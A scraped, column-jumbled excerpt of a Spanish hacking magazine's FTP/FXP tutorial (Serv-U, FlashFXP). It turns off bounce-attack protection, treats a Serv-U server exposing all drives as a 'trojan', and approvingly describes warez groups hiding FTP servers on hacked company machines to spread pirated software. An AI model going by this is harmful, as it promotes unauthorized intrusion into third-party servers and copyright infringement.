  (arriba a la derecha) y en la línea 8 nos          Duro.
  encontramos con la opción Idle Time Out. Esta      -        Bueno, tu mismo, experimenta :)
  opción nos permite introducir un número e indica
  los minutos que el Servidor tardará en
  expulsarnos (desconectarnos) en caso de que
  nuestra actividad sea nula. Es decir, que una
  vez conectados al Servidor debemos movernos
  entre sus carpetas y/o bajarnos archivos para
                                                     5.- AVANZANDO                 (que      no
  que no seamos desconectados.                       avanzado)…

                                                     Ahora haremos un ejercicio interesante.
4.- Afianzándonos con el FlashFXP                    Activaremos dos Servidores de FTP en
                                                     nuestro equipo y accederemos a ellos a
Experimentemos un poco:                              través del Flash FXP, también intentaremos
-       Navegando por el Servidor FTP de             hacer FXP: (transferencia de archivos
Microsoft: Vamos pulsando sobre las                  directamente entre servidores). Recordad
carpetas hasta encontrar archivos, es como           que hasta ahora hemos transferido archivos
navegar por nuestro propio disco duro, no            entre un Servidor FTP y nuestro equipo,
necesita mas explicaciones. Por cierto,              ya es hora de hacer transferencias
para volver al nivel de carpetas anterior            directamente entre dos Servidores.
debemos pulsar sobre Parent Directory.
-       Bajando archivos: Pues muy fácil,            Recordad (ya se expuso esto en el artículo
pulsamos el botón izquierdo del Mouse                del Serv-U): Cuando accedemos a un
sobre un archivo de la Zona 2 y sin soltar           Servidor FTP, estamos accediendo a un
arrastramos a la Zona 1. Soltamos y                  Servicio de RED. No importa que este
empieza la descarga. Podemos arrastrar               servicio lo ofrezca Microsoft desde Estados
tanto carpetas como archivos, si                     Unidos o lo ofrezcamos nosotros desde
arrastramos una carpeta se copiará a                 nuestro propio ordenador, a efectos de
nuestro disco todo el contenido de la                RED estamos accediendo a Servicios de
misma.
-       Subiendo archivos: Intenta
arrastrar un archivo de la Zona 1 (nuestro
 LOS CUADERNOS DE                HACKXCRACK -- NÚMERO 1                    p á g . 2 3
HackXCrack      HackXCrack      HackXCrack       HackXCrack    HackXCrack      HackXCrac k

     FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO
HackXCrack      HackXCrack      HackXCrack       HackXCrack    HackXCrack      HackXCrac k




RED y el Flash FXP así lo interpreta. Repito     permisos, eliminamos el usuario por defecto
esta sentencia porque cuando traspasemos         y le añadimos uno nuevo con el nombre
archivos desde uno de nuestros Servidores        FTP3000 y password 3000.
FTP (instalado en nuestro equipo) a otro
Servidor FTP (instalado también en nuestro       - Reiniciamos los servidores (recordad, el
equipo), para el Flash FXP es como si lo         botón del rayo).
hiciésemos entre dos servidores situados
en distintos países. En la Zona 1 y en la        Ahora tenemos dos Servidores FTP
Zona 2 ya no tendremos nuestro disco             iniciados en nuestro equipo, cada uno en
duro, sino archivos y carpetas situados          un puerto distinto. Muy bien, pues iniciamos
e n S e r v i d o r e s F T P : ) A h o ra l o   el FlashFXP y creamos los accesos a
comprenderemos mejor mientras hacemos            nuestros servidores:
esta interesante práctica (por cierto, si
no leíste y asimilaste el artículo "Tu           - Vamos al menú Sites --> Site Manager
Primer Servidor FTP" no podrás                   --> New Site y escribimos FTP2500.
seguir esta práctica).
                                                 - A la derecha completamos los datos de
- Creamos en el disco C: cuatro directorios      acceso a nuestro FTP2500.
llamados FTP2500, FTP3000,
FTPEJERCICIO2500 Y FTPEJERCICIO3000.             *      IP Address: 127.0.0.1 (o
                                                        cualquiera de las IP que aparecen
- Metemos una copia del Serv-U en                       en el Serv-U al         iniciarse.
FTP2500 y otra copia en FTP3000
                                                 *      Port: 2500.
- Iniciamos el Serv-U de la carpeta FTP2500
y lo configuramos en el puerto 2500, le          *      Deseleccionamos el cuadro de
permitimos Bounce Attack (dejamos el                    Anonymous.
cuadro de selección desactivado) y le
damos como Home Directory C: y                  *      User Name: FTP2500.
como File/Directoy access rules
C:FTPEJERCICIO2500 con todos los                *      Password: 2500.
permisos, eliminamos el usuario por defecto
y le añadimos uno nuevo con el nombre            - Pulsamos Apply y después New Site y
FTP2500 y password 2500.                         escribimos FTP3000.

- Iniciamos el Serv-U de la carpeta FTP3000      - A la derecha completamos los datos para
y lo configuramos en el puerto 3000, le          acceder a nuestro FTP3000.
permitimos Bounce Attack (dejamos el
cuadro de selección desactivado) y le            *      IP Address: 127.0.0.1 (o
damos como Home Directory C: y como                    cualquiera de las IP que aparecen
File/Directoy access rules                              en el Serv-U al iniciarse.
C:FTPEJERCICIO3000 con todos los

 LOS CUADERNOS DE           HACKXCRACK -- NÚMERO 1                     p á g . 2 4
HackXCrack          HackXCrack           HackXCrack      HackXCrack   HackXCrack     HackXCrac k

       FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO
HackXCrack          HackXCrack           HackXCrack      HackXCrack   HackXCrack     HackXCrac k




     Activando esta casilla, lo que hacemos es impedir   Ahora subimos a nuestro Servidor FTP2500
     ese comportamiento. Esto es positivo en caso        unos cuantos archivos de nuestro disco
     de poner el Servidor FTP al servicio de terceros,
     porque eso impide que un cliente utilice nuestro
                                                         duro (recordad, en la Zona 1 tenemos
     Servidor como "pasarela de datos".                  acceso a nuestro disco duro). Nos fijaros
     Desactivando esta casilla permitiremos el FXP,      que los archivos que arrastramos desde
     esto es positivo en caso de ser únicamente          la Zona 1 a la Zona 2 deben introducirse
     nosotros quienes tengamos acceso al Servidor
     FTP.                                                dentro de la carpeta FTPEJERCICIO2500,
                                                         pues es la única para la cual hemos
                                                         determinado accesos. Ahora nos
*          Port: 3000.                                   desconectamos de nuestro Servidor
                                                         pulsando sobre el icono azul situado sobre
*          Deseleccionamos el cuadro de                  la Zona 2 (si pasamos el Mouse por encima
           Anonymous.                                    aparece disconnect). Finalmente nos
                                                         conectamos a nuestro Servidor FTP3000
*          User Name: FTP3000.                           (repetimos) y updatamos unos cuantos
                                                         archivos (repetimos) y nos desconectamos
*          Password: 3000.                               (repetimos).

- Pulsamos Apply y después Close.                        Ya estamos preparados para la prueba :

Bien, ahora pulsamos sobre la Zona 2 del                 -     Pulsamos sobre la Zona 2 y nos
FlashFXP y nos conectamos al servidor                    conectamos a nuestro F TP2500.
FTP2500 (Sites --> Site Manager -->
Seleccionamos a la izquierda FTP2500 y                   -      Pulsamos sobre la Zona 1 y OJO!!!
pulsamos Connect). En la Zona 3 del Serv-                Pulsamos sobre el icono que saca el
U deberíamos ver unos cuantos mensajes                   mensaje Switch to FTP Browser, esto hace
(echamos un vistazo) confirmando el                      que desaparezcan los archivos de nuestro
acceso y en la Zona 2 debería aparecernos                disco duro en la Zona 1, en realidad nos
la lista de carpetas disponibles.                        prepara la Zona 1 para que pueda
                                                         conectarse a cualquier otro Servidor FTP
Nos fijamos que la Ruta de Acceso Inicial                :)
(Home Directory) es /c:/ --> Tal como
configuramos el Serv-U en la opción Home                 -     Pues bien, menú Sites --> Site
Directory //Podéis verlo arriba de la Zona               Manager --> Seleccionamos FTP3000 y
2//                                                      Connect.
Nos fijamos que a pesar de que en nuestro
disco duro C: hay muchas mas carpetas, en                Ya estamos conectados a dos Servidores
la Zona 2 solo vemos una llamada                         FTP al mismo tiempo. Recordad que
                                                         updatamos archivos a cada carpeta en los
FTPEJER CICIO2500 --> Tal como
                                                         pasos anteriores ¿verdad? Pues ahora
configuramos el Serv-U en la opción                      entrad en las carpetas FTPEJERCICIO3000
File/Directoy access rules.

    LOS CUADERNOS DE               HACKXCRACK -- NÚMERO 1                     p á g . 2 5
HackXCrack     HackXCrack      HackXCrack      HackXCrack    HackXCrack      HackXCrac k

     FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO
HackXCrack     HackXCrack      HackXCrack      HackXCrack    HackXCrack      HackXCrac k




(Zona 1) y FTPEJERCICIO2500 (Zona 2)           hasta que os salgan callos en los dedos y
y arrastrad archivos de un servidor a otro     en el cerebro.
(de la Zona 1 a la Zona 2 y a la inversa).
Lo que estamos haciendo es mover
archivos de un Servidor FTP a otro Servidor
FTP, es decir, estamos haciendo FXP :)         6.- Accediendo a nuestro Troyano
                                                  :)
Como ya os comentamos en el artículo
anterior, la verdadera potencia está en        Inicia el Servidor que preparamos para
poder conectarnos a dos Servidores FTP         actuar de troyano y conéctate mediante
situados en Países distintos con líneas de     el FlashFXP. Podemos ver que sólo
conexión a Internet rápidas y poder mover      tenemos acceso al disco C: ¿verdad? :)
datos entre ellos a gran velocidad desde       Intenta subir de directorio pulsando sobre
nuestra casa y un MODEM de 28800 :)            Parent Directory, nada de nada ¿verdad?
Porque los datos no pasan por nuestro          ¿pero no habíamos configurado acceso a
ordenador, simplemente emitimos                todos los discos duros? ¿por qué no
ordenes a otros servidores para que se         podemos salir del directorio C:?
pasen datos entre ellos.
                                               Recuerda que pusimos como Home
Haced mas pruebas:                             Directory C: y como File/Directory
                                               parent rules todas las letras del
•       Por ejemplo conectaros en la Zona      abecedario. Home Directory es donde
1 al Servidor FTP de Microsoft y en la Zona    aparecemos nada mas acceder al Servidor,
2 conectaros a uno de los vuestros,            en teoría no deberíamos poder remontar
veremos como es imposible hacer FXP,           directorios, pero gracias a nuestra especial
puesto que el Servidor FTP de Microsoft        configuración :) sólo tenemos que poner
tiene activada la opción de Bounce Attack.     D: en el Folder Bookmarks (sobre Parent
                                               Directory) y pulsar Return :) Aquí tenemos
•       Desactivad en uno de vuestros          la pantalla!!!
servidores FTP la opción de Bounce Attack
e intentad Aspear entre vuestros dos
servidores, veremos que ya no podemos
:)

•       Haced todo lo que se os ocurra,
cambiad los permisos de acceso en
vuestros Servidores y experimentad lo que
podéis y no podéis hacer. Este mundillo
se basa en el conocimiento y la experiencia,
es tan importante lo uno como otro,
debemos devorar con verdadera ansiedad
tanto la sección de TCP/IP como practicar

 LOS CUADERNOS DE         HACKXCRACK -- NÚMERO 1                     p á g . 2 6
HackXCrack    HackXCrack     HackXCrack      HackXCrack    HackXCrack      HackXCrac k

    FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO
HackXCrack    HackXCrack     HackXCrack      HackXCrack    HackXCrack      HackXCrac k




                                             mejor. Quien lea este artículo y sea curioso
Piensa una cosa: ningún Hacker es un         lo primero que hará es ir a (por ejemplo)
experto en todo, pero sí tienen              www.downloads.com y buscará por la
conocimientos básicos/medios de casi todo    palabra FTP, descargará todos los
y suelen ser expertos en un par de temas     Servidores FTP y todos los Clientes FTP,
(cada uno elige su camino). No se necesita   los instalará y empezará a experimentar.
ser experto programador en 50 lenguajes      Cuando domine un par de ellos, le será
distintos, pero sí conocer al menos un par   sencillo dominar los otros 50 programas
de ellos en profundidad y tener              de FTP, porque se basan en lo mismo, no
conocimientos generales de la sintaxis del   porque sea un genio :) Esto es importante
resto. Lo importante es precisamente la      que lo tengáis en cuenta, porque con el
asombrosa capacidad que uno adquiere         tiempo almacenaréis experiencia de
con el tiempo, por ejemplo ser capaz de      muchos temas y llegará el día que decidiréis
aprender un nuevo lenguaje de                especializaros en un par de ellos, en
programación apenas leyendo un manual        aquellos que realmente os hallan llegado
y las instrucciones básicas, porque en el    al alma, que quizás sean los que mas
fondo los conceptos son muy parecidos,       habéis llegado a odiar porque no
lo único que cambia es la forma y las        comprendíais en un primer momento (a
facilidades que casa sistema nos ofrece.     veces la revelación tarda varios años y
                                             quizás a algunos nunca les llegue, es casi
Hagamos un paralelismo para entenderlo       esotérico :).

 LOS CUADERNOS DE        HACKXCRACK -- NÚMERO 1                    p á g . 2 7
HackXCrack       HackXCrack       HackXCrack        HackXCrack   HackXCrack     HackXCrac k

     FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO
HackXCrack       HackXCrack       HackXCrack        HackXCrack   HackXCrack     HackXCrac k




                                                    :))
7.- UNDERGROUND: Pequeña
referencia a los Foros FXP.                         El FXP es utilizado por la elite de estos
                                                    foros para mover datos rápidamente.
El FXP es utilizado habitualmente por los           Suelen hackear máquinas con conexiones
Grupos Warez de Internet, por ejemplo               rápidas (normalmente servidores de
en los FOROS FXP.                                   empresa) y una vez consiguen “penetrar”
                                                    en esos sistemas introducen un Servidor
Un foro de FXP es donde se reúnen una               FTP (si, si, en muchos casos exactamente
serie de individuos y se dedican a                  el Serv-U 2.5e :)) y lo ejecutan de forma
"compartir" todo tipo de archivos, desde            oculta (eso os suena, ¿verdad? ). De esa
el último juego que saldrá al mercado la            forma updatan/suben a esos FTPs las
semana que viene hasta la última película           últimas novedades y lo anuncian en sus
de cine que se estrenará en España dentro           foros para que todos puedan descargarlos
de unos meses :)                                    a una buena velocidad Es un tema
                                                    apasionante del que he disfrutado durante
Si, si, no penséis que eso es imposible,            años, así que sintiéndolo mucho dejaré
imaginad que tengo una tienda de                    los detalles para otra ocasión:).
Informática o soy montador de Equipos
en una cadena importante, pues entonces
tengo acceso al Windows XP antes de que             8.- Más cosas sobre el FXP.
salga al mercado :)… o soy el transportista,
o tengo un videoclub, o soy representante,          Ya sabemos lo básico, utilizar el FlashFXP
o distribuidor, o estoy en aduanas, o               como un simple Cliente FTP (transferencia
simplemente viajo mucho… je, je, je… ¿os            de archivos entre nuestro disco duro y un
dais cuenta? No sólo es posible sino que            Servidor FTP) y hacer FXP (transferencia
únicamente hace falta conocer donde se              directa entre Servidores FTP). Ahora
mueve todo este mundillo para disponer              recorreros los menús y experimentad con
GRATIS de todo el Software que existe               las opciones, aquí haremos mención a
(Software y todo lo que nos imaginemos).            unos cuantos puntos que no debemos
                                                    pasar por alto:
En próximos números trataremos en
profundidad estos foros :) y os                     ·       Menu Options --> Preferences ->
explicaremos cómo ingresar en ellos, pero           Pestaña Options --> Enable Anti-Idle
ya puedes ponerte a trabajar, porque                Normalmente los Servidores FTP activan
necesitarás presentarles un par de PUBS             la Opción Idle Time Out. Recordad lo que
(ya os lo explicaremos) con unos 3GB para           pasaba cuando estabais conectados al
compartir, y eso implica que tenemos que            Servidor FTP de Microsoft durante mas de
a p r e n d e r a e s c a n e a r, u p d a t a r,   5 minutos sin hacer nada: te desconectaba.
proteger/ocultar ficheros y mil cosas mas…
(bueno, en próximos números ya os lo                Pues bien, esta opción del FlashFXP te
explicaré muy, muy, muy detalladamente              permite enviar una orden al Servidor cada
 LOS CUADERNOS DE            HACKXCRACK -- NÚMERO 1                      p á g . 2 8
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker
Hxc1 hacker

Mais conteúdo relacionado

Destaque

Débat SWIT: LAT versus Initiative sur le paysage
Débat SWIT: LAT versus Initiative sur le paysageDébat SWIT: LAT versus Initiative sur le paysage
Débat SWIT: LAT versus Initiative sur le paysageVincent Pellissier
 
VITTA Conference - Keynote Speaker Craig Rispin, Futurist - The Reign of the ...
VITTA Conference - Keynote Speaker Craig Rispin, Futurist - The Reign of the ...VITTA Conference - Keynote Speaker Craig Rispin, Futurist - The Reign of the ...
VITTA Conference - Keynote Speaker Craig Rispin, Futurist - The Reign of the ...Craig Rispin
 
DMT logistics XYLON
DMT logistics XYLONDMT logistics XYLON
DMT logistics XYLONIgor Kalezic
 
How to learn more and get support about fiware
How to learn more and get support about fiwareHow to learn more and get support about fiware
How to learn more and get support about fiwareFernando Lopez Aguilar
 
Business Model Generation Canvas
Business Model Generation CanvasBusiness Model Generation Canvas
Business Model Generation CanvasShahed Khalili
 
MAYOR CONTROL ECONÓMICO FINANCIERO DE GRANDES INVERSIONES
MAYOR CONTROL ECONÓMICO FINANCIERO DE GRANDES INVERSIONESMAYOR CONTROL ECONÓMICO FINANCIERO DE GRANDES INVERSIONES
MAYOR CONTROL ECONÓMICO FINANCIERO DE GRANDES INVERSIONESPro Rosario
 
Curso Travel 2.0 Enlaces
Curso Travel 2.0 EnlacesCurso Travel 2.0 Enlaces
Curso Travel 2.0 EnlacesJimmy Pons
 
Tour D Horizon Des Drawables
Tour D Horizon Des DrawablesTour D Horizon Des Drawables
Tour D Horizon Des DrawablesCyril Mottier
 
Sigfox Workshop with Akeru & TheThings.io
Sigfox Workshop with Akeru & TheThings.ioSigfox Workshop with Akeru & TheThings.io
Sigfox Workshop with Akeru & TheThings.ioNicolas Lesconnec
 
Usages de la vidéo sur Internet en 2014
Usages de la vidéo sur Internet en 2014Usages de la vidéo sur Internet en 2014
Usages de la vidéo sur Internet en 2014Libcast SAS
 
Overview sobre o CMS Drupal
Overview sobre o CMS DrupalOverview sobre o CMS Drupal
Overview sobre o CMS DrupalRafael Cichini
 
Ciclos formativos notas corte
Ciclos formativos notas corteCiclos formativos notas corte
Ciclos formativos notas corteverdel84
 
Ficha técnica TEMP-COAT-101 (Ingés)
Ficha técnica TEMP-COAT-101 (Ingés)Ficha técnica TEMP-COAT-101 (Ingés)
Ficha técnica TEMP-COAT-101 (Ingés)ThCoat®
 
Empowering MSMEs - Benefits of Credit Rating in MSME - Part - 8
Empowering MSMEs - Benefits of Credit Rating in MSME - Part - 8Empowering MSMEs - Benefits of Credit Rating in MSME - Part - 8
Empowering MSMEs - Benefits of Credit Rating in MSME - Part - 8Resurgent India
 
ITorneointernacionalcentrogoyalibro
ITorneointernacionalcentrogoyalibroITorneointernacionalcentrogoyalibro
ITorneointernacionalcentrogoyalibrofrafalcdiaz
 

Destaque (20)

Débat SWIT: LAT versus Initiative sur le paysage
Débat SWIT: LAT versus Initiative sur le paysageDébat SWIT: LAT versus Initiative sur le paysage
Débat SWIT: LAT versus Initiative sur le paysage
 
VITTA Conference - Keynote Speaker Craig Rispin, Futurist - The Reign of the ...
VITTA Conference - Keynote Speaker Craig Rispin, Futurist - The Reign of the ...VITTA Conference - Keynote Speaker Craig Rispin, Futurist - The Reign of the ...
VITTA Conference - Keynote Speaker Craig Rispin, Futurist - The Reign of the ...
 
DMT logistics XYLON
DMT logistics XYLONDMT logistics XYLON
DMT logistics XYLON
 
How to learn more and get support about fiware
How to learn more and get support about fiwareHow to learn more and get support about fiware
How to learn more and get support about fiware
 
Business Model Generation Canvas
Business Model Generation CanvasBusiness Model Generation Canvas
Business Model Generation Canvas
 
MAYOR CONTROL ECONÓMICO FINANCIERO DE GRANDES INVERSIONES
MAYOR CONTROL ECONÓMICO FINANCIERO DE GRANDES INVERSIONESMAYOR CONTROL ECONÓMICO FINANCIERO DE GRANDES INVERSIONES
MAYOR CONTROL ECONÓMICO FINANCIERO DE GRANDES INVERSIONES
 
Curso Travel 2.0 Enlaces
Curso Travel 2.0 EnlacesCurso Travel 2.0 Enlaces
Curso Travel 2.0 Enlaces
 
Drucegrove
Drucegrove Drucegrove
Drucegrove
 
Tour D Horizon Des Drawables
Tour D Horizon Des DrawablesTour D Horizon Des Drawables
Tour D Horizon Des Drawables
 
Gmd overview 2016
Gmd  overview 2016Gmd  overview 2016
Gmd overview 2016
 
Sigfox Workshop with Akeru & TheThings.io
Sigfox Workshop with Akeru & TheThings.ioSigfox Workshop with Akeru & TheThings.io
Sigfox Workshop with Akeru & TheThings.io
 
Usages de la vidéo sur Internet en 2014
Usages de la vidéo sur Internet en 2014Usages de la vidéo sur Internet en 2014
Usages de la vidéo sur Internet en 2014
 
Overview sobre o CMS Drupal
Overview sobre o CMS DrupalOverview sobre o CMS Drupal
Overview sobre o CMS Drupal
 
Ciclos formativos notas corte
Ciclos formativos notas corteCiclos formativos notas corte
Ciclos formativos notas corte
 
Ficha técnica TEMP-COAT-101 (Ingés)
Ficha técnica TEMP-COAT-101 (Ingés)Ficha técnica TEMP-COAT-101 (Ingés)
Ficha técnica TEMP-COAT-101 (Ingés)
 
Objetivos, vision iie y capitulo
Objetivos, vision iie y capituloObjetivos, vision iie y capitulo
Objetivos, vision iie y capitulo
 
Dfd dd
Dfd ddDfd dd
Dfd dd
 
Empowering MSMEs - Benefits of Credit Rating in MSME - Part - 8
Empowering MSMEs - Benefits of Credit Rating in MSME - Part - 8Empowering MSMEs - Benefits of Credit Rating in MSME - Part - 8
Empowering MSMEs - Benefits of Credit Rating in MSME - Part - 8
 
ITorneointernacionalcentrogoyalibro
ITorneointernacionalcentrogoyalibroITorneointernacionalcentrogoyalibro
ITorneointernacionalcentrogoyalibro
 
Galicia natural enp de galicia
Galicia natural enp de galiciaGalicia natural enp de galicia
Galicia natural enp de galicia
 

Semelhante a Hxc1 hacker

Semelhante a Hxc1 hacker (20)

Hx c01
Hx c01Hx c01
Hx c01
 
01. crea tu primer troyano [indetectable por los antivirus]
01. crea tu primer troyano [indetectable por los antivirus]01. crea tu primer troyano [indetectable por los antivirus]
01. crea tu primer troyano [indetectable por los antivirus]
 
Hxc10
Hxc10Hxc10
Hxc10
 
Hxc11
Hxc11Hxc11
Hxc11
 
Hacker en 24 HRS
Hacker en 24 HRSHacker en 24 HRS
Hacker en 24 HRS
 
Internet y hackers
Internet y hackersInternet y hackers
Internet y hackers
 
Viaje hacking
Viaje hackingViaje hacking
Viaje hacking
 
La ética hacker
La ética hackerLa ética hacker
La ética hacker
 
Clase01 - Curso Hacker Ético
Clase01 - Curso Hacker ÉticoClase01 - Curso Hacker Ético
Clase01 - Curso Hacker Ético
 
Informatica Carlos Vargas
Informatica Carlos VargasInformatica Carlos Vargas
Informatica Carlos Vargas
 
11
1111
11
 
La Etica del Hacker y el Espíritu de la Era de la Información
La Etica del Hacker y el Espíritu de la Era de la InformaciónLa Etica del Hacker y el Espíritu de la Era de la Información
La Etica del Hacker y el Espíritu de la Era de la Información
 
La etica del hacker
La etica del hackerLa etica del hacker
La etica del hacker
 
Rmodmex pc19
Rmodmex pc19Rmodmex pc19
Rmodmex pc19
 
Rmodmex pc19
Rmodmex pc19Rmodmex pc19
Rmodmex pc19
 
Como convertirse en hacker
Como convertirse en hackerComo convertirse en hacker
Como convertirse en hacker
 
HACKERS
HACKERSHACKERS
HACKERS
 
HACKERS Y CRACKERS
HACKERS Y CRACKERSHACKERS Y CRACKERS
HACKERS Y CRACKERS
 
HACKERS
HACKERSHACKERS
HACKERS
 
Hackers 3
Hackers 3Hackers 3
Hackers 3
 

Mais de Aldo Hernán Zanabria Gálvez

“PERSPECTIVAS DEL DESARROLLO ECONÓMICO REGIONAL EN EL CONTEXTO DEL CAMBIO CLI...
“PERSPECTIVAS DEL DESARROLLO ECONÓMICO REGIONAL EN EL CONTEXTO DEL CAMBIO CLI...“PERSPECTIVAS DEL DESARROLLO ECONÓMICO REGIONAL EN EL CONTEXTO DEL CAMBIO CLI...
“PERSPECTIVAS DEL DESARROLLO ECONÓMICO REGIONAL EN EL CONTEXTO DEL CAMBIO CLI...Aldo Hernán Zanabria Gálvez
 
Organizadores visuales sobre las corrientes contemporaneas aldo zanabria ga...
Organizadores visuales sobre las corrientes contemporaneas   aldo zanabria ga...Organizadores visuales sobre las corrientes contemporaneas   aldo zanabria ga...
Organizadores visuales sobre las corrientes contemporaneas aldo zanabria ga...Aldo Hernán Zanabria Gálvez
 
Resumen final - Seminario Taller TIC Emprede Turismo
Resumen final - Seminario Taller TIC Emprede TurismoResumen final - Seminario Taller TIC Emprede Turismo
Resumen final - Seminario Taller TIC Emprede TurismoAldo Hernán Zanabria Gálvez
 
Clase de Tecnologías de la Información y Comunicaciones
Clase de Tecnologías de la Información y ComunicacionesClase de Tecnologías de la Información y Comunicaciones
Clase de Tecnologías de la Información y ComunicacionesAldo Hernán Zanabria Gálvez
 

Mais de Aldo Hernán Zanabria Gálvez (20)

“PERSPECTIVAS DEL DESARROLLO ECONÓMICO REGIONAL EN EL CONTEXTO DEL CAMBIO CLI...
“PERSPECTIVAS DEL DESARROLLO ECONÓMICO REGIONAL EN EL CONTEXTO DEL CAMBIO CLI...“PERSPECTIVAS DEL DESARROLLO ECONÓMICO REGIONAL EN EL CONTEXTO DEL CAMBIO CLI...
“PERSPECTIVAS DEL DESARROLLO ECONÓMICO REGIONAL EN EL CONTEXTO DEL CAMBIO CLI...
 
mejorando la web guia de html 5
mejorando la web guia de html 5mejorando la web guia de html 5
mejorando la web guia de html 5
 
Guía de Prácticas word beta.pdf
Guía de Prácticas word beta.pdfGuía de Prácticas word beta.pdf
Guía de Prácticas word beta.pdf
 
emprendimiento en la era del conocimiento.pptx
emprendimiento en la era del conocimiento.pptxemprendimiento en la era del conocimiento.pptx
emprendimiento en la era del conocimiento.pptx
 
Fundamentos de Programación
Fundamentos de ProgramaciónFundamentos de Programación
Fundamentos de Programación
 
Organizadores visuales sobre las corrientes contemporaneas aldo zanabria ga...
Organizadores visuales sobre las corrientes contemporaneas   aldo zanabria ga...Organizadores visuales sobre las corrientes contemporaneas   aldo zanabria ga...
Organizadores visuales sobre las corrientes contemporaneas aldo zanabria ga...
 
didactica
didacticadidactica
didactica
 
Tarea1 aldo zanabria
Tarea1 aldo zanabriaTarea1 aldo zanabria
Tarea1 aldo zanabria
 
Tarea 2 aldo zanabria
Tarea 2 aldo zanabriaTarea 2 aldo zanabria
Tarea 2 aldo zanabria
 
Carolinos del milenio pasado - Puno
Carolinos del milenio pasado - PunoCarolinos del milenio pasado - Puno
Carolinos del milenio pasado - Puno
 
ingenieria de sistemas
ingenieria de sistemasingenieria de sistemas
ingenieria de sistemas
 
Electricidad con recursos renovables
Electricidad con recursos renovablesElectricidad con recursos renovables
Electricidad con recursos renovables
 
Variables
VariablesVariables
Variables
 
Estructura y modelo organizacional estatal
Estructura y modelo organizacional estatal Estructura y modelo organizacional estatal
Estructura y modelo organizacional estatal
 
Calidad de Agua
Calidad de AguaCalidad de Agua
Calidad de Agua
 
Resumen final - Seminario Taller TIC Emprede Turismo
Resumen final - Seminario Taller TIC Emprede TurismoResumen final - Seminario Taller TIC Emprede Turismo
Resumen final - Seminario Taller TIC Emprede Turismo
 
Clase de Tecnologías de la Información y Comunicaciones
Clase de Tecnologías de la Información y ComunicacionesClase de Tecnologías de la Información y Comunicaciones
Clase de Tecnologías de la Información y Comunicaciones
 
Plan de Trabajo Integración de la Mujer
Plan de Trabajo Integración de la MujerPlan de Trabajo Integración de la Mujer
Plan de Trabajo Integración de la Mujer
 
peritaciones y tasación puno
peritaciones y tasación punoperitaciones y tasación puno
peritaciones y tasación puno
 
producción en la empresa turística
producción en la empresa turísticaproducción en la empresa turística
producción en la empresa turística
 

Hxc1 hacker

  • 1. 3€ DESCUBRE EL OSCURO MUNDO DE LA RED 3€ NUMERO 1 LOS CUADERNOS DE HACK CRACK www.hackxcrack.com CREA TU PRIMER TROYANO INDETECTABLE POR LOS ANTIVIRUS FXP: SIN LÍMITE DE VELOCIDAD UTILIZANDO CONEXIONES AJENAS LOS SECRETOS DEL FTP ABRE LOS OJOS ESQUIVANDO FIREWALLS PASV MODE VERSUS PORT MODE 00001 8 437003 464003
  • 2. EDITORIAL: EDITOTRANS S.L.U. C.I.F.:B43675701 Director editorial: I. SENTIS E-mail contacto:director@editotrans.com Título de la publicación: Los cuadernos de HACK X CRACK. Web: www.hackxcrack.com Deposito legal: B.26805-2002. Código EAN: 8437003464003. Código ISSN: En proceso. Director: J. Sentís E-mail: director@hackxcrack.com Diseño gráfico: J. M. Velasco Contacto diseñador gráfico:grafico@hackxcrack.com Redactores: AZIMUT, ROTEADO, FASTIC, MORDEA, FAUSTO.... Contacto redactores: redactores@hackxcrack.com Colaboradores: Mas de 130 personas, de España, de Brasil, de Argentina, de Francia, de Alemania e incluso uno de Japón :) y como no algún Estadounidense. Contacto colaboradores:colaboradores@hackxcrack.com Imprime: Cayfosa-Quebecor. Carretera de Caldes, Km. 3 – 08130 Sta. Perpètua de Mogoda (Barcelona) Spain – Tel. 93 565 75 00 - Fax 93 574 16 82 Distribución: Coedis S.L. Avda. de Barcelona, 225. Molins de Rei. Barcelona. © Copyright Editotrans S.L.U. PON TU PUBLICIDAD EN HACKXCRACK TELEFONO 652495607 e-mail: publicidad@hackxcrack.com
  • 3. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k EDITORIAL - EDITORIAL - EDITORIAL - EDITORIAL - EDITORIAL HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k ZONA EDITORIAL: DECLARACION DE INTENCIONES PARA "LOS OTROS": 1.- La intención de la presente publicación NO ES fomentar la piratería informática ni la “delincuencia” en la Red. 2.- Cualquier texto publicado es VALIDADO por nuestra Asesoría Jurídica, por lo que advertimos a cualquier persona, empresa u organización de la inutilidad de cualquier iniciativa jurídica en nuestra contra. Aun así, en caso de cualquier iniciativa en contra de esta revista, deberá ser debidamente presentada y resuelta en la Razón Social que figura en nuestros documentos de constitución. 3.- Esta publicación no se hace responsable del mal uso de los conocimientos que se exponen. 4.- Esta publicación NO FACILITARÁ los datos de nuestros colaboradores ni el origen de nuestros conocimientos salvo ORDEN JUDICIAL y, aun así, advertimos que algunos de esos colaboradores NO SON CONOCIDOS mas que por sus NICKS (alias). Por ello, correrá a cargo de los organismos pertinentes su “descubrimiento”. 5.- Esta publicación NO SE HACE RESPONSABLE ni tienen por qué COMPARTIR las opiniones personales vertidas por sus colaboradores, por lo que NO SOMOS RESPONSABLES de las mismas. 6.- Cualquier texto publicado estará bajo las protecciones de DERECHOS DE AUTOR y no se permite su copia, publicación, modificación o distribución sin antes obtener el permiso de esta editorial. De este punto quedan exentos aquellos textos que han sido obtenidos de terceros y/o que están sujetos a otras licencias (ya sean por parte de su autor o por terceros). 7.- Si desean ponerse en contacto con nuestro departamento jurídico, rogamos enviar mail a 